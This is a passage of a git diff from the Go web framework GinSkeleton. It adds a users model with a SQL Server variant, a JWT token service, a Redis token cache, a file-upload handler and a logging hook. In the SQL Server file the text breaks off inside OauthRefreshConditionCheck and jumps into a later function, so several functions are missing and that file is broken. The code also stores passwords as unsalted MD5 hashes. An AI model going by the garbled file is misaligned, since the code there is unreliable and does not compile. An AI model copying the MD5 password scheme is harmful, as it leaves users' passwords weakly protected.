+ cast(? as interval)) " + refreshSec := variable.ConfigYml.GetInt64("Token.JwtTokenRefreshAllowSec") + if u.Raw(sql, userId, oldToken, strconv.FormatInt(refreshSec, 10)+" second").First(&oldTokenIsExists).Error == nil && oldTokenIsExists == 1 { + return true + } + return false +} + +// OauthRefreshToken 用户刷新token +func (u *UsersModel) OauthRefreshToken(userId, expiresAt int64, oldToken, newToken, clientIp string) bool { + sql := "UPDATE web.tb_oauth_access_tokens SET token=? ,expires_at=?,client_ip=?,updated_at= now() ,action_name='refresh' WHERE fr_user_id=? AND token=?" + if u.Exec(sql, newToken, time.Unix(expiresAt, 0).Format(variable.DateFormat), clientIp, userId, oldToken).Error == nil { + // 异步缓存用户有效的token到redis + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.ValidTokenCacheToRedis(userId) + } + go u.UpdateUserloginInfo(clientIp, userId) + return true + } + return false +} + +// UpdateUserloginInfo 更新用户登陆次数、最近一次登录ip、最近一次登录时间 +func (u *UsersModel) UpdateUserloginInfo(last_login_ip string, userId int64) { + sql := "UPDATE web.tb_users SET login_times=COALESCE(login_times,0)+1,last_login_ip=?,last_login_time=? WHERE id=? " + _ = u.Exec(sql, last_login_ip, time.Now().Format(variable.DateFormat), userId) +} + +// OauthResetToken 当用户更改密码后,所有的token都失效,必须重新登录 +func (u *UsersModel) OauthResetToken(userId int, newPass, clientIp string) bool { + //如果用户新旧密码一致,直接返回true,不需要处理 + userItem, err := u.ShowOneItem(userId) + if userItem != nil && err == nil && userItem.Pass == newPass { + return true + } else if userItem != nil { + + // 如果用户密码被修改,那么redis中的token值也清除 + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.DelTokenCacheFromRedis(int64(userId)) + } + + sql := "UPDATE web.tb_oauth_access_tokens SET revoked=1,updated_at= now() ,action_name='ResetPass',client_ip=? WHERE fr_user_id=? " + if u.Exec(sql, clientIp, userId).Error == nil { + return true + } + } + return false +} + +//OauthDestroyToken 当tb_users 删除数据,相关的token同步删除 +func (u *UsersModel) OauthDestroyToken(userId int) bool { + //如果用户新旧密码一致,直接返回true,不需要处理 + sql := "DELETE FROM web.tb_oauth_access_tokens WHERE fr_user_id=? " + //判断>=0, 有些没有登录过的用户没有相关token,此语句执行影响行数为0,但是仍然是执行成功 + if u.Exec(sql, userId).Error == nil { + return true + } + return false +} + +// OauthCheckTokenIsOk 判断用户token是否在数据库存在+状态OK +func (u *UsersModel) OauthCheckTokenIsOk(userId int64, token string) bool { + sql := ` + SELECT token FROM web.tb_oauth_access_tokens + WHERE fr_user_id=? AND revoked=0 AND expires_at> now() + ORDER BY expires_at DESC , updated_at DESC limit ? + ` + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是查询类记得释放记录集 + _ = rows.Close() + }() + if err == nil && rows != nil { + for rows.Next() { + var tempToken string + err := rows.Scan(&tempToken) + if err == nil { + if tempToken == token { + _ = rows.Close() + return true + } + } + } + } + return false +} + +// 禁用一个用户的: 1.tb_users表的 status 设置为 0,web.tb_oauth_access_tokens 表的所有token删除 +// 禁用一个用户的token请求(本质上就是把tb_users表的 status 字段设置为 0 即可) +func (u *UsersModel) SetTokenInvalid(userId int) bool { + sql := "delete from web.tb_oauth_access_tokens where fr_user_id=? " + if u.Exec(sql, userId).Error == nil { + if u.Exec("update web.tb_users set status=0 where id=?", userId).Error == nil { + return true + } + } + return false +} + +//根据用户ID查询一条信息 +func (u *UsersModel) ShowOneItem(userId int) (*UsersModel, error) { + sql := "SELECT id, user_name,pass, real_name, phone, status,TO_CHAR(created_at,'yyyy-mm-dd hh24:mi:ss') as created_at, TO_CHAR(updated_at,'yyyy-mm-dd hh24:mi:ss') as updated_at FROM web.tb_users WHERE status=1 and id=? limit 1" + result := u.Raw(sql, userId).First(u) + if result.Error == nil { + return u, nil + } else { + return nil, result.Error + } +} + +// counts 查询数据之前统计条数 +func (u *UsersModel) counts(userName string) (counts int64) { + sql := "SELECT count(*) as counts FROM web.tb_users WHERE status=1 and user_name like ?" + if res := u.Raw(sql, "%"+userName+"%").First(&counts); res.Error != nil { + variable.ZapLog.Error("UsersModel - counts 查询数据条数出错", zap.Error(res.Error)) + } + return counts +} + +// Show 查询(根据关键词模糊查询) +func (u *UsersModel) Show(userName string, limitStart, limitItems int) (counts int64, temp []UsersModel) { + if counts = u.counts(userName); counts > 0 { + sql := ` + SELECT id, user_name, real_name, phone, status, last_login_ip,phone, + TO_CHAR(created_at,'yyyy-mm-dd hh24:mi:ss') as created_at, TO_CHAR(updated_at,'yyyy-mm-dd hh24:mi:ss') as updated_at + FROM web.tb_users WHERE status=1 and user_name like ? limit ? offset ? + ` + if res := u.Raw(sql, "%"+userName+"%", limitItems, limitStart).Find(&temp); res.RowsAffected > 0 { + return counts, temp + } + } + return 0, nil +} + +// Store 新增 +func (u *UsersModel) Store(userName string, pass string, realName string, phone string, remark string) bool { + sql := "INSERT INTO web.tb_users(user_name,pass,real_name,phone,remark) SELECT ?,?,?,?,? WHERE NOT EXISTS (SELECT 1 FROM web.tb_users WHERE user_name=?)" + if u.Exec(sql, userName, pass, realName, phone, remark, userName).RowsAffected > 0 { + return true + } + return false +} + +// UpdateDataCheckUserNameIsUsed 更新前检查新的用户名是否已经存在(避免和别的账号重名) +func (u *UsersModel) UpdateDataCheckUserNameIsUsed(userId int, userName string) (exists int64) { + sql := "select count(*) as counts from web.tb_users where id!=? AND user_name=?" + _ = u.Raw(sql, userId, userName).First(&exists) + return exists +} + +// Update 更新 +func (u *UsersModel) Update(id int, userName string, pass string, realName string, phone string, remark string, clientIp string) bool { + sql := "update web.tb_users set user_name=?,pass=?,real_name=?,phone=?,remark=? WHERE status=1 AND id=?" + if u.Exec(sql, userName, pass, realName, phone, remark, id).RowsAffected >= 0 { + if u.OauthResetToken(id, pass, clientIp) { + return true + } + } + return false +} + +// Destroy 删除用户以及关联的token记录 +func (u *UsersModel) Destroy(id int) bool { + // 删除用户时,清除用户缓存在redis的全部token + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.DelTokenCacheFromRedis(int64(id)) + } + if u.Delete(u, id).Error == nil { + if u.OauthDestroyToken(id) { + return true + } + } + return false +} + +// 后续两个函数专门处理用户 token 缓存到 redis 逻辑 + +func (u *UsersModel) ValidTokenCacheToRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + defer tokenCacheRedisFact.ReleaseRedisConn() + + sql := "SELECT token,to_char(expires_at,'yyyy-mm-dd hh24:mi:ss') as expires_at FROM web.tb_oauth_access_tokens WHERE fr_user_id=? AND revoked=0 AND expires_at>NOW() ORDER BY expires_at DESC , updated_at DESC LIMIT ?" + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是获取原生结果集的查询,记得释放记录集 + _ = rows.Close() + }() + + var tempToken, expires string + if err == nil && rows != nil { + for i := 1; rows.Next(); i++ { + err = rows.Scan(&tempToken, &expires) + if err == nil { + if ts, err := time.ParseInLocation(variable.DateFormat, expires, time.Local); err == nil { + tokenCacheRedisFact.SetTokenCache(ts.Unix(), tempToken) + // 因为每个用户的token是按照过期时间倒叙排列的,第一个是有效期最长的,将该用户的总键设置一个最大过期时间,到期则自动清理,避免不必要的数据残留 + if i == 1 { + tokenCacheRedisFact.SetUserTokenExpire(ts.Unix()) + } + } else { + variable.ZapLog.Error("expires_at 转换位时间戳出错", zap.Error(err)) + } + } + } + } + // 缓存结束之后删除超过系统设置最大在线数量的token + tokenCacheRedisFact.DelOverMaxOnlineCache() +} + +// DelTokenCacheFromRedis 用户密码修改后,删除redis所有的token +func (u *UsersModel) DelTokenCacheFromRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + tokenCacheRedisFact.ClearUserToken() + tokenCacheRedisFact.ReleaseRedisConn() +} diff --git a/GinSkeleton/app/model/users_for_sqlserver.txt b/GinSkeleton/app/model/users_for_sqlserver.txt new file mode 100644 index 0000000..5f7b1ed --- /dev/null +++ b/GinSkeleton/app/model/users_for_sqlserver.txt @@ -0,0 +1,305 @@ +package model + +import ( + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/service/users/token_cache_redis" + "goskeleton/app/utils/md5_encrypt" + "time" +) + +// 本文件针对 sqlserver 数据库有效,请手动使用本文件的所有代码替换 users.go 中的所有代码即可 +// 针对数据库选型为sqlserver的开发者使用 + +// 操作数据库喜欢使用gorm自带语法的开发者可以参考 GinSkeleton-Admin 系统相关代码 +// Admin 项目地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/ +// gorm_v2 提供的语法+ ginskeleton 实践 : http://gitee.com/daitougege/gin-skeleton-admin-backend/blob/master/app/model/button_cn_en.go + +// 创建 userFactory +// 参数说明: 传递空值,默认使用 配置文件选项:UseDbType(mysql) +func CreateUserFactory(sqlType string) *UsersModel { + return &UsersModel{BaseModel: BaseModel{DB: UseDbConn(sqlType)}} +} + +type UsersModel struct { + BaseModel + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"-"` + Phone string `json:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status"` + Token string `json:"token"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// 表名 +func (u *UsersModel) TableName() string { + return "tb_users" +} + +// 用户注册(写一个最简单的使用账号、密码注册即可) +func (u *UsersModel) Register(userName, pass, userIp string) bool { + sql := "INSERT INTO tb_users(user_name,pass,last_login_ip) SELECT ?,?,? WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + result := u.Exec(sql, userName, pass, userIp, userName) + if result.RowsAffected > 0 { + return true + } else { + return false + } +} + +// 用户登录, +func (u *UsersModel) Login(userName string, pass string) *UsersModel { + sql := "select top 1 id, user_name,real_name,pass,phone from tb_users where user_name=? " + result := u.Raw(sql, userName).First(u) + if result.Error == nil { + // 账号密码验证成功 + if len(u.Pass) > 0 && (u.Pass == md5_encrypt.Base64Md5(pass)) { + return u + } + } else { + variable.ZapLog.Error("根据账号查询单条记录出错:", zap.Error(result.Error)) + } + return nil +} + +//记录用户登陆(login)生成的token,每次登陆记录一次token +func (u *UsersModel) OauthLoginToken(userId int64, token string, expiresAt int64, clientIp string) bool { + sql := ` + INSERT INTO tb_oauth_access_tokens(fr_user_id,action_name,token,expires_at,client_ip) + SELECT ?,'login',? ,?,? WHERE NOT EXISTS(SELECT 1 FROM tb_oauth_access_tokens a WHERE a.fr_user_id=? AND a.action_name='login' AND a.token=?) + ` + //注意:token的精确度为秒,如果在一秒之内,一个账号多次调用接口生成的token其实是相同的,这样写入数据库,第二次的影响行数为0,知己实际上操作仍然是有效的。 + //所以这里只判断无错误即可,判断影响行数的话,>=0 都是ok的 + if u.Exec(sql, userId, token, time.Unix(expiresAt, 0).Format(variable.DateFormat), clientIp, userId, token).Error == nil { + // 异步缓存用户有效的token到redis + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.ValidTokenCacheToRedis(userId) + } + return true + } + return false +} + +//用户刷新token,条件检查: 相关token在过期的时间之内,就符合刷新条件 +func (u *UsersModel) OauthRefreshConditionCheck(userId int64, oldToken string) bool { + // 首先判断旧token在本系统自带的数据库已经存在,才允许继续执行刷新逻辑 + var oldTokenIsExists int + sql := "SELECT count(*) as counts FROM tb_oauth_access_tokens WHERE fr_user_id =? and token=? and GETDATE()=0, 有些没有登录过的用户没有相关token,此语句执行影响行数为0,但是仍然是执行成功 + if u.Exec(sql, userId).Error == nil { + return true + } + return false +} + +// 判断用户token是否在数据库存在+状态OK +func (u *UsersModel) OauthCheckTokenIsOk(userId int64, token string) bool { + sql := ` + SELECT token FROM tb_oauth_access_tokens + WHERE fr_user_id=? AND revoked=0 AND expires_at>GETDATE() + ORDER BY expires_at DESC , updated_at DESC + OFFSET 0 ROW FETCH NEXT ? ROWS ONLY + ` + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是查询类记得释放记录集 + _ = rows.Close() + }() + if err == nil && rows != nil { + for rows.Next() { + var tempToken string + err := rows.Scan(&tempToken) + if err == nil { + if tempToken == token { + _ = rows.Close() + return true + } + } + } + } + return false +} + +// 禁用一个用户的: 1.tb_users表的 status 设置为 0,tb_oauth_access_tokens 表的所有token删除 +// 禁用一个用户的token请求(本质上就是把tb_users表的 status 字段设置为 0 即可) +func (u *UsersModel) SetTokenInvalid(userId int) bool { + sql := "delete from tb_oauth_access_tokens where fr_user_id=? " + if u.Exec(sql, userId).Error == nil { + if u.Exec("update tb_users set status=0 where id=?", userId).Error == nil { + return true + } + } + return false +} + +//根据用户ID查询一条信息 +func (u *UsersModel) ShowOneItem(userId int) (*UsersModel, error) { + sql := "SELECT top 1 id, user_name,pass, real_name, phone, status FROM tb_users WHERE status=1 and id=?" + result := u.Raw(sql, userId).First(u) + if result.Error == nil { + return u, nil + } else { + return nil, result.Error + } +} + +// 查询数据之前统计条数 +func (u *UsersModel) counts(userName string) (counts int64) { + sql := "SELECT count(*) as counts FROM tb_users WHERE status=1 and user_name like ?" + if res := u.Raw(sql, "%"+userName+"%").First(&counts); res.Error != nil { + variable.ZapLog.Error("UsersModel - counts 查询数据条数出错", zap.Error(res.Error)) + } + return counts +} + +// 查询(根据关键词模糊查询) +func (u *UsersModel) Show(userName string, limitStart, limitItems int) (counts int64, temp []UsersModel) { + if counts = u.counts(userName); counts > 0 { + sql := ` + SELECT id, user_name, real_name, phone,last_login_ip, status, CONVERT(varchar(20), created_at, 120 ) as created_at, CONVERT(varchar(20), updated_at, 120 ) as updated_at + FROM tb_users WHERE status=1 and user_name like ? order by id desc OFFSET ? ROW FETCH NEXT ? ROWS ONLY + ` + if res := u.Raw(sql, "%"+userName+"%", limitStart, limitItems).Find(&temp); res.RowsAffected > 0 { + return counts, temp + } + } + return 0, nil +} + +//新增 +func (u *UsersModel) Store(userName string, pass string, realName string, phone string, remark string) bool { + sql := "INSERT INTO tb_users(user_name,pass,real_name,phone,remark) SELECT ?,?,?,?,? WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + if u.Exec(sql, userName, pass, realName, phone, remark, userName).RowsAffected > 0 { + return true + } + return false +} + +//UpdateDataCheckUserNameIsUsed 更新前检查新的用户名是否已经存在(避免和别的账号重名) +func (u *UsersModel) UpdateDataCheckUserNameIsUsed(userId int, userName string) (exists int64) { + sql := "select count(*) as counts from tb_users where id!=? AND user_name=?" + _ = u.Raw(sql, userId, userName).First(&exists) + return exists +} + +//更新 +func (u *UsersModel) Update(id int, userName string, pass string, realName string, phone string, remark string, clientIp string) bool { + sql := "update tb_users set user_name=?,pass=?,real_name=?,phone=?,remark=? WHERE status=1 AND id=?" + if u.Exec(sql, userName, pass, realName, phone, remark, id).RowsAffected >= 0 { + if u.OauthResetToken(id, pass, clientIp) { + return true + } + } + return false +} + +//删除用户以及关联的token记录 +func (u *UsersModel) Destroy(id int) bool { + if u.Delete(u, id).Error == nil { + if u.OauthDestroyToken(id) { + return true + } + } + return false +} + +// 后续两个函数专门处理用户 token 缓存到 redis 逻辑 + +func (u *UsersModel) ValidTokenCacheToRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + defer tokenCacheRedisFact.ReleaseRedisConn() + + sql := ` + SELECT token,CONVERT(varchar(20), expires_at, 120 ) as expires_at FROM tb_oauth_access_tokens + WHERE fr_user_id=? AND revoked=0 AND expires_at>getdate() ORDER BY expires_at DESC , updated_at DESC + OFFSET 0 ROW FETCH NEXT ? ROWS ONLY + ` + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是获取原生结果集的查询,记得释放记录集 + _ = rows.Close() + }() + + var tempToken, expires string + if err == nil && rows != nil { + for i := 1; rows.Next(); i++ { + err = rows.Scan(&tempToken, &expires) + if err == nil { + if ts, err := time.ParseInLocation(variable.DateFormat, expires, time.Local); err == nil { + tokenCacheRedisFact.SetTokenCache(ts.Unix(), tempToken) + // 因为每个用户的token是按照过期时间倒叙排列的,第一个是有效期最长的,将该用户的总键设置一个最大过期时间,到期则自动清理,避免不必要的数据残留 + if i == 1 { + tokenCacheRedisFact.SetUserTokenExpire(ts.Unix()) + } + } else { + variable.ZapLog.Error("expires_at 转换位时间戳出错", zap.Error(err)) + } + } + } + } + // 缓存结束之后删除超过系统设置最大在线数量的token + tokenCacheRedisFact.DelOverMaxOnlineCache() +} + +// DelTokenCacheFromRedis 用户密码修改后,删除redis所有的token +func (u *UsersModel) DelTokenCacheFromRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + tokenCacheRedisFact.ClearUserToken() + tokenCacheRedisFact.ReleaseRedisConn() +} diff --git a/GinSkeleton/app/service/sys_log_hook/zap_log_hooks.go b/GinSkeleton/app/service/sys_log_hook/zap_log_hooks.go new file mode 100644 index 0000000..768b6b9 --- /dev/null +++ b/GinSkeleton/app/service/sys_log_hook/zap_log_hooks.go @@ -0,0 +1,27 @@ +package sys_log_hook + +import ( + "go.uber.org/zap/zapcore" +) + +// GoSkeleton 系统运行日志钩子函数 +// 1.单条日志就是一个结构体格式,本函数拦截每一条日志,您可以进行后续处理,例如:推送到阿里云日志管理面板、ElasticSearch 日志库等 + +func ZapLogHandler(entry zapcore.Entry) error { + + // 参数 entry 介绍 + // entry 参数就是单条日志结构体,主要包括字段如下: + //Level 日志等级 + //Time 当前时间 + //LoggerName 日志名称 + //Message 日志内容 + //Caller 各个文件调用路径 + //Stack 代码调用栈 + + //这里启动一个协程,hook丝毫不会影响程序性能, + go func(paramEntry zapcore.Entry) { + //fmt.Println(" GoSkeleton hook ....,你可以在这里继续处理系统日志....") + //fmt.Printf("%#+v\n", paramEntry) + }(entry) + return nil +} diff --git a/GinSkeleton/app/service/upload_file/upload_file.go b/GinSkeleton/app/service/upload_file/upload_file.go new file mode 100644 index 0000000..7282514 --- /dev/null +++ b/GinSkeleton/app/service/upload_file/upload_file.go @@ -0,0 +1,58 @@ +package upload_file + +import ( + "errors" + "fmt" + "github.com/gin-gonic/gin" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/md5_encrypt" + "os" + "path" + "strings" + "time" +) + +func Upload(context *gin.Context, savePath string) (r bool, finnalSavePath interface{}) { + + newSavePath, newReturnPath := generateYearMonthPath(savePath) + + // 1.获取上传的文件名(参数验证器已经验证完成了第一步错误,这里简化) + file, _ := context.FormFile(variable.ConfigYml.GetString("FileUploadSetting.UploadFileField")) // file 是一个文件结构体(文件对象) + + // 保存文件,原始文件名进行全局唯一编码加密、md5 加密,保证在后台存储不重复 + var saveErr error + if sequence := variable.SnowFlake.GetId(); sequence > 0 { + saveFileName := fmt.Sprintf("%d%s", sequence, file.Filename) + saveFileName = md5_encrypt.MD5(saveFileName) + path.Ext(saveFileName) + + if saveErr = context.SaveUploadedFile(file, newSavePath+saveFileName); saveErr == nil { + // 上传成功,返回资源的相对路径,这里请根据实际返回绝对路径或者相对路径 + finnalSavePath = gin.H{ + "path": strings.ReplaceAll(newReturnPath+saveFileName, variable.BasePath, ""), + } + return true, finnalSavePath + } + } else { + saveErr = errors.New(my_errors.ErrorsSnowflakeGetIdFail) + variable.ZapLog.Error("文件保存出错:" + saveErr.Error()) + } + return false, nil + +} + +// 文件上传可以设置按照 xxx年-xx月 格式存储 +func generateYearMonthPath(savePathPre string) (string, string) { + returnPath := variable.BasePath + variable.ConfigYml.GetString("FileUploadSetting.UploadFileReturnPath") + curYearMonth := time.Now().Format("2006_01") + newSavePathPre := savePathPre + curYearMonth + newReturnPathPre := returnPath + curYearMonth + // 相关路径不存在,创建目录 + if _, err := os.Stat(newSavePathPre); err != nil { + if err = os.MkdirAll(newSavePathPre, os.ModePerm); err != nil { + variable.ZapLog.Error("文件上传创建目录出错" + err.Error()) + return "", "" + } + } + return newSavePathPre + "/", newReturnPathPre + "/" +} diff --git a/GinSkeleton/app/service/users/curd/users_curd.go b/GinSkeleton/app/service/users/curd/users_curd.go new file mode 100644 index 0000000..26b096e --- /dev/null +++ b/GinSkeleton/app/service/users/curd/users_curd.go @@ -0,0 +1,31 @@ +package curd + +import ( + "goskeleton/app/model" + "goskeleton/app/utils/md5_encrypt" +) + +func CreateUserCurdFactory() *UsersCurd { + return &UsersCurd{model.CreateUserFactory("")} +} + +type UsersCurd struct { + userModel *model.UsersModel +} + +func (u *UsersCurd) Register(userName, pass, userIp string) bool { + pass = md5_encrypt.Base64Md5(pass) // 预先处理密码加密,然后存储在数据库 + return u.userModel.Register(userName, pass, userIp) +} + +func (u *UsersCurd) Store(name string, pass string, realName string, phone string, remark string) bool { + + pass = md5_encrypt.Base64Md5(pass) // 预先处理密码加密,然后存储在数据库 + return u.userModel.Store(name, pass, realName, phone, remark) +} + +func (u *UsersCurd) Update(id int, name string, pass string, realName string, phone string, remark string, clientIp string) bool { + //预先处理密码加密等操作,然后进行更新 + pass = md5_encrypt.Base64Md5(pass) // 预先处理密码加密,然后存储在数据库 + return u.userModel.Update(id, name, pass, realName, phone, remark, clientIp) +} diff --git a/GinSkeleton/app/service/users/token/token.go b/GinSkeleton/app/service/users/token/token.go new file mode 100644 index 0000000..d6638ab --- /dev/null +++ b/GinSkeleton/app/service/users/token/token.go @@ -0,0 +1,139 @@ +package token + +import ( + "errors" + "github.com/dgrijalva/jwt-go" + "goskeleton/app/global/consts" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/http/middleware/my_jwt" + "goskeleton/app/model" + "goskeleton/app/service/users/token_cache_redis" + "time" +) + +// CreateUserFactory 创建 userToken 工厂 +func CreateUserFactory() *userToken { + return &userToken{ + userJwt: my_jwt.CreateMyJWT(variable.ConfigYml.GetString("Token.JwtTokenSignKey")), + } +} + +type userToken struct { + userJwt *my_jwt.JwtSign +} + +// GenerateToken 生成token +func (u *userToken) GenerateToken(userid int64, username string, phone string, expireAt int64) (tokens string, err error) { + + // 根据实际业务自定义token需要包含的参数,生成token,注意:用户密码请勿包含在token + customClaims := my_jwt.CustomClaims{ + UserId: userid, + Name: username, + Phone: phone, + // 特别注意,针对前文的匿名结构体,初始化的时候必须指定键名,并且不带 jwt. 否则报错:Mixture of field: value and value initializers + StandardClaims: jwt.StandardClaims{ + NotBefore: time.Now().Unix() - 10, // 生效开始时间 + ExpiresAt: time.Now().Unix() + expireAt, // 失效截止时间 + }, + } + return u.userJwt.CreateToken(customClaims) +} + +// RecordLoginToken 用户login成功,记录用户token +func (u *userToken) RecordLoginToken(userToken, clientIp string) bool { + if customClaims, err := u.userJwt.ParseToken(userToken); err == nil { + userId := customClaims.UserId + expiresAt := customClaims.ExpiresAt + return model.CreateUserFactory("").OauthLoginToken(userId, userToken, expiresAt, clientIp) + } else { + return false + } +} + +// TokenIsMeetRefreshCondition 检查token是否满足刷新条件 +func (u *userToken) TokenIsMeetRefreshCondition(token string) bool { + // token基本信息是否有效:1.过期时间在允许的过期范围内;2.基本格式正确 + customClaims, code := u.isNotExpired(token, variable.ConfigYml.GetInt64("Token.JwtTokenRefreshAllowSec")) + switch code { + case consts.JwtTokenOK, consts.JwtTokenExpired: + //在数据库的存储信息是否也符合过期刷新刷新条件 + if model.CreateUserFactory("").OauthRefreshConditionCheck(customClaims.UserId, token) { + return true + } + } + return false +} + +// RefreshToken 刷新token的有效期(默认+3600秒,参见常量配置项) +func (u *userToken) RefreshToken(oldToken, clientIp string) (newToken string, res bool) { + var err error + //如果token是有效的、或者在过期时间内,那么执行更新,换取新token + if newToken, err = u.userJwt.RefreshToken(oldToken, variable.ConfigYml.GetInt64("Token.JwtTokenRefreshExpireAt")); err == nil { + if customClaims, err := u.userJwt.ParseToken(newToken); err == nil { + userId := customClaims.UserId + expiresAt := customClaims.ExpiresAt + if model.CreateUserFactory("").OauthRefreshToken(userId, expiresAt, oldToken, newToken, clientIp) { + return newToken, true + } + } + } + + return "", false +} + +// 判断token本身是否未过期 +// 参数解释: +// token: 待处理的token值 +// expireAtSec: 过期时间延长的秒数,主要用于用户刷新token时,判断是否在延长的时间范围内,非刷新逻辑默认为0 +func (u *userToken) isNotExpired(token string, expireAtSec int64) (*my_jwt.CustomClaims, int) { + if customClaims, err := u.userJwt.ParseToken(token); err == nil { + + if time.Now().Unix()-(customClaims.ExpiresAt+expireAtSec) < 0 { + // token有效 + return customClaims, consts.JwtTokenOK + } else { + // 过期的token + return customClaims, consts.JwtTokenExpired + } + } else { + // 无效的token + return nil, consts.JwtTokenInvalid + } +} + +// IsEffective 判断token是否有效(未过期+数据库用户信息正常) +func (u *userToken) IsEffective(token string) bool { + customClaims, code := u.isNotExpired(token, 0) + if consts.JwtTokenOK == code { + //1.首先在redis检测是否存在某个用户对应的有效token,如果存在就直接返回,不再继续查询mysql,否则最后查询mysql逻辑,确保万无一失 + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + tokenRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(customClaims.UserId) + if tokenRedisFact != nil { + defer tokenRedisFact.ReleaseRedisConn() + if tokenRedisFact.TokenCacheIsExists(token) { + return true + } + } + } + //2.token符合token本身的规则以后,继续在数据库校验是不是符合本系统其他设置,例如:一个用户默认只允许10个账号同时在线(10个token同时有效) + if model.CreateUserFactory("").OauthCheckTokenIsOk(customClaims.UserId, token) { + return true + } + } + return false +} + +// ParseToken 将 token 解析为绑定时传递的参数 +func (u *userToken) ParseToken(tokenStr string) (CustomClaims my_jwt.CustomClaims, err error) { + if customClaims, err := u.userJwt.ParseToken(tokenStr); err == nil { + return *customClaims, nil + } else { + return my_jwt.CustomClaims{}, errors.New(my_errors.ErrorsParseTokenFail) + } +} + +// DestroyToken 销毁token,基本用不到,因为一个网站的用户退出都是直接关闭浏览器窗口,极少有户会点击“注销、退出”等按钮,销毁token其实无多大意义 +func (u *userToken) DestroyToken() { + +} diff --git a/GinSkeleton/app/service/users/token_cache_redis/user_token_cache_redis.go b/GinSkeleton/app/service/users/token_cache_redis/user_token_cache_redis.go new file mode 100644 index 0000000..19c06bf --- /dev/null +++ b/GinSkeleton/app/service/users/token_cache_redis/user_token_cache_redis.go @@ -0,0 +1,97 @@ +package token_cache_redis + +import ( + "go.uber.org/zap" + "goskeleton/app/global/variable" + "goskeleton/app/utils/md5_encrypt" + "goskeleton/app/utils/redis_factory" + "strconv" + "strings" + "time" +) + +func CreateUsersTokenCacheFactory(userId int64) *userTokenCacheRedis { + redCli := redis_factory.GetOneRedisClient() + if redCli == nil { + return nil + } + return &userTokenCacheRedis{redisClient: redCli, userTokenKey: "token_userid_" + strconv.FormatInt(userId, 10)} +} + +type userTokenCacheRedis struct { + redisClient *redis_factory.RedisClient + userTokenKey string +} + +// SetTokenCache 设置缓存 +func (u *userTokenCacheRedis) SetTokenCache(tokenExpire int64, token string) bool { + // 存储用户token时转为MD5,下一步比较的时候可以更加快速地比较是否一致 + if _, err := u.redisClient.Int(u.redisClient.Execute("zAdd", u.userTokenKey, tokenExpire, md5_encrypt.MD5(token))); err == nil { + return true + } else { + variable.ZapLog.Error("缓存用户token到redis出错", zap.Error(err)) + } + return false +} + +// DelOverMaxOnlineCache 删除缓存,删除超过系统允许最大在线数量之外的用户 +func (u *userTokenCacheRedis) DelOverMaxOnlineCache() bool { + // 首先先删除过期的token + _, _ = u.redisClient.Execute("zRemRangeByScore", u.userTokenKey, 0, time.Now().Unix()-1) + + onlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + alreadyCacheNum, err := u.redisClient.Int(u.redisClient.Execute("zCard", u.userTokenKey)) + if err == nil && alreadyCacheNum > onlineUsers { + // 删除超过最大在线数量之外的token + if alreadyCacheNum, err = u.redisClient.Int(u.redisClient.Execute("zRemRangeByRank", u.userTokenKey, 0, alreadyCacheNum-onlineUsers-1)); err == nil { + return true + } else { + variable.ZapLog.Error("删除超过系统允许之外的token出错:", zap.Error(err)) + } + } + return false +} + +// TokenCacheIsExists 查询token是否在redis存在 +func (u *userTokenCacheRedis) TokenCacheIsExists(token string) (exists bool) { + token = md5_encrypt.MD5(token) + curTimestamp := time.Now().Unix() + onlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + if strSlice, err := u.redisClient.Strings(u.redisClient.Execute("zRevRange", u.userTokenKey, 0, onlineUsers-1)); err == nil { + for _, val := range strSlice { + if score, err := u.redisClient.Int64(u.redisClient.Execute("zScore", u.userTokenKey, token)); err == nil { + if score > curTimestamp { + if strings.Compare(val, token) == 0 { + exists = true + break + } + } + } + } + } else { + variable.ZapLog.Error("获取用户在redis缓存的 token 值出错:", zap.Error(err)) + } + return +} + +// SetUserTokenExpire 设置用户的 usertoken 键过期时间 +// 参数: 时间戳 +func (u *userTokenCacheRedis) SetUserTokenExpire(ts int64) bool { + if _, err := u.redisClient.Execute("expireAt", u.userTokenKey, ts); err == nil { + return true + } + return false +} + +// ClearUserToken 